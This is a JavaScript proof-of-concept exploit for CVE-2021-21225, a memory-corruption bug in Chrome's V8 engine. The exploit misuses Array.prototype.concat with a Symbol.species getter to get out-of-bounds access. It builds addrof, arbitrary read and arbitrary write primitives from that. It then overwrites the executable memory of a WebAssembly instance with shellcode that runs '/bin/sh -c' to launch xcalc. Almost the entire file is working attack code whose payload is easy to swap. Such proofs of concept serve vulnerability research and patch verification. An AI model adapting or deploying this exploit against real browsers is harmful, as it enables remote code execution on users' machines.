cve-2021-21225.js

/*
CVE-2021-21225
HEAD @ 3f9ff062b053155df7897f199e80a8bafe7c34df

https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21225
*/

let bs = new ArrayBuffer(8);
let fs = new Float64Array(bs);
let is = new BigUint64Array(bs);

const ftoi = x => {
  fs[0] = x;
  return is[0];
}

const itof = x => {
  is[0] = x;
  return fs[0];
}

const hex = x => {
  return '0x' + x.toString(16);
}

let cor;

function foo() {
  let x = new Float64Array(1024);
  x.__defineSetter__('length', () => {});

  let y = [
    1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
    1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
  ];
  delete y[0];

  let z = new Float64Array(8);

  let oob = [1.1];
  let flt = [1.1];
  let tmp = {a: 1};
  let obj = [tmp];

  const c = new Function();
  c.__defineGetter__(Symbol.species, () => {
    return function() { return x; };
  });
  y.constructor = c;

  Array.prototype[0] = {
    valueOf: function() {
      y.length = 1;
      new ArrayBuffer(0x80000000);
      delete Array.prototype[0];
    }
  };

  Array.prototype.concat.call(y);

  z[0] = x[1];
  z[1] = itof(ftoi(x[2]) + 0xfcn - 8n);

  return {
    ptr: ftoi(x[2]) + 0x60n,
    oob: oob,
    flt: flt,
    obj: obj
  };
}

function bar(a) {
  let x = new Float64Array(1024);
  x.__defineSetter__('length', () => {});

  let y = [
    1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
    1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,
    1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, {}
  ];
  delete y[19];

  let z = new Float64Array(8);
  z[0] = itof(a);

  const c = new Function();
  c.__defineGetter__(Symbol.species, () => {
    return function() { return x; };
  });
  y.constructor = c;

  Array.prototype[19] = {
    valueOf: function() {
      y.length = 1;
      new ArrayBuffer(0x80000000);

      Object.prototype.valueOf = function() {
        cor = this;
        delete Object.prototype.valueOf;
        throw null;
      }

      delete Array.prototype[19];
    }
  };

  Array.prototype.concat.call(y);
}

function baz() {
  let x = foo();
  try { bar(x.ptr) } catch (_) {}

  let a = ftoi(cor[0]) & 0xffffffffn;
  cor[0] = itof((1000n << 32n) + a);

  return { 
    oob: x.oob,
    flt: x.flt,
    obj: x.obj
  };
}

/* flt.elements @ oob[6] */
/* obj.elements @ oob[15] */
let { oob, flt, obj } = baz();

function addrof(o) {
  let a = ftoi(oob[15]) & 0xffffffffn;
  let b = ftoi(oob[6]) >> 32n;
  oob[6] = itof((b << 32n) + a);
  obj[0] = o;
  return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}

function read(p) {
  let a = ftoi(oob[6]) >> 32n;
  oob[6] = itof((a << 32n) + p - 8n + 1n);
  return ftoi(flt[0]);
}

function write(p, x) {
  let a = ftoi(oob[6]) >> 32n;
  oob[6] = itof((a << 32n) + p - 8n + 1n);
  flt[0] = itof(x);
}

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;

let rwx = read(addrof(instance) + 0x68n);

/* DISPLAY=':0.0' xcalc */ 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);

write(addrof(buf) + 0x14n, rwx);

for (let i = 0; i < shellcode.length; i++)
  view.setUint8(i, shellcode[i]);

entry();